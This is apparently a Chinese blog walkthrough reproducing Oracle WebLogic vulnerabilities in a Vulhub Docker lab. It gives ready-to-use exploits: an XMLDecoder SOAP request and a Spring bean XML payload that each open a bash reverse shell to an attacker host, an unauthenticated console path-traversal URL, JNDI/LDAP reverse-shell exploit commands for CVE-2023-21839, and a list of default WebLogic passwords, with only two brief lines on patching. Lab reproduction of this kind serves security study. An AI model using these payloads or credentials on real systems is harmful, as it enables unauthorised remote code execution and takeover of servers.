Weblogic漏洞复现(Vulhub)

0x00前言

docker 安装

Docker的安装_docker安装-CSDN博客

docker的镜像

1.可以在阿里云上的容器服务找到镜像源。

2.也可以使用下面的镜像源,时快时慢不稳定。

{
  "registry-mirrors":
	[
    "https://docker.registry.cyou",
    "https://docker-cf.registry.cyou",
    "https://dockercf.jsdelivr.fyi",
    "https://docker.jsdelivr.fyi",
    "https://dockertest.jsdelivr.fyi",
    "https://mirror.aliyuncs.com",
    "https://dockerproxy.com",
    "https://mirror.baidubce.com",
    "https://docker.m.daocloud.io",
    "https://docker.nju.edu.cn",
    "https://docker.mirrors.sjtug.sjtu.edu.cn",
    "https://docker.mirrors.ustc.edu.cn",
    "https://mirror.iscas.ac.cn",
    "https://docker.rainbond.cc"
	]
}

0x01CVE-2017-10271[XML反序列化]

Weblogic的WLS Security组件对外提供 webservice服务其中使用了XMLDecoder来 解析用户传入的XML数据在解析的过程中出现 反序列化漏洞 ,导致可执行任意命令。

原理:https://xz.aliyun.com/t/10172

漏洞复现

1.漏洞页面

192.168.10.5:7001/wls-wsat/CoordinatorPortType

POST /wls-wsat/CoordinatorPortType HTTP/1.1
#docker的IP
Host: 172.16.8.158:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml;charset=utf-8
Content-Length: 1012

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                           #kali监听主机的IP
                            <string>bash -i &gt;&amp; /dev/tcp/172.16.8.132/2222 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

kali拿到shell.

0x02CVE-2018-2628

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)

漏洞复现

http://172.16.8.160:7001/console/login/LoginForm.jsp

XML 复制代码
nmap -n -v -p 7001,7002 172.16.8.160 --script=weblogic-t3-info 

开启T3服务。

工具使用

使用JRMP攻击

在本地执行

Release v0.0.6 · frohoff/ysoserial · GitHub 工具。

进入容器查看成功是否成功创建。

XML 复制代码
docker exec -it  cve-2018-2628-weblogic-1  /bin/bash

0x03CVE-2020-14882

Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限

漏洞复现

进入首页。

http://172.16.8.160:7001/console/login/LoginForm.jsp

未授权登陆。

console/images/%252E%252E%252Fconsole.portal

使用工具直接利用。 https://github.com/GGyao/CVE-2020-14882_ALL

外置xml文件无回显命令执行

1.POC

XML 复制代码
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
	<value>/bin/bash</value>
        <value>-c</value>
        #攻击机IP
        <value><![CDATA[bash -i >& /dev/tcp/172.16.8.132/54321  0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

kali开启python监听。

nc开启监听。

成功反弹shell.

0x04CVE-2023-21839

RCE漏洞,该漏洞允许未经身份验证的远程,通过T3/IIOP协议网络访问并破坏WebLogic服务器,成功利用此漏洞可导致Oracle WebLogic服务器被接管,通过rmi/ldap远程协议进行远程命令执行,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,可能导致远程代码执行。

漏洞复现

http://172.16.8.160:7001/console

Release 1.1 · 0x727/JNDIExploit · GitHub 利用工具 上传使用

bash 复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 172.16.8.132  # kaliIP

​​​​​​https://github.com/DXask88MA/Weblogic-CVE-2023-21839 漏洞EXP

java -jar Weblogic-CVE-2023-21839.jar 192.168.111.6:7001 ldap://192.168.111.14:1389/Basic/ReverseShell/192.168.111.14/9999

java -jar 目标服务器ip地址:端口 ldap地址/Basic/ReverseShell/ldap服务器IP地址/nc监听端口

需要跟换Java版本。

https://www.cnblogs.com/luoluostudy/p/18161115

bash 复制代码
java -jar Weblogic-CVE-2023-21839.jar 172.16.18.160:7001 ldap://192.168.111.14:1389/Basic/ReverseShell/172.16.8.132/9999

查看LDAP服务器,成功获取

工具使用​​​​​​​

漏洞防护

下载最新补丁,链接:https://support.oracle.com/rs?type=doc\&id=2917213.2

限制T3协议访问

0x05weak_password

常见弱口令。

system/password

weblogic/weblogic

admin/security

joe/password

mary/password

system/security

wlcsystem/wlcsystem

wlpisystem/wlpisystem

weblogic/weblogic123

weblogic/weblogic2

system/password

weblogic/weblogic

admin/security

joe/password

mary/password

system/security

wlcsystem/wlcsystem

wlpisystem/wlpisystem

guest/guest

portaladmin/portaladmin

system/system

WebLogic/WebLogic

weblogic/Oracle@123

weblogic/Oracle@123

相关推荐
在下不上天4 分钟前
Flume日志采集系统的部署,实现flume负载均衡,flume故障恢复
大数据·开发语言·python
陌小呆^O^17 分钟前
Cmakelist.txt之win-c-udp-client
c语言·开发语言·udp
一元咖啡19 分钟前
SpringCloud Gateway转发请求到同一个服务的不同端口
spring·spring cloud·gateway
儿时可乖了26 分钟前
使用 Java 操作 SQLite 数据库
java·数据库·sqlite
ruleslol27 分钟前
java基础概念37:正则表达式2-爬虫
java
I_Am_Me_33 分钟前
【JavaEE进阶】 JavaScript
开发语言·javascript·ecmascript
重生之我是数学王子43 分钟前
QT基础 编码问题 定时器 事件 绘图事件 keyPressEvent QT5.12.3环境 C++实现
开发语言·c++·qt
xmh-sxh-131444 分钟前
jdk各个版本介绍
java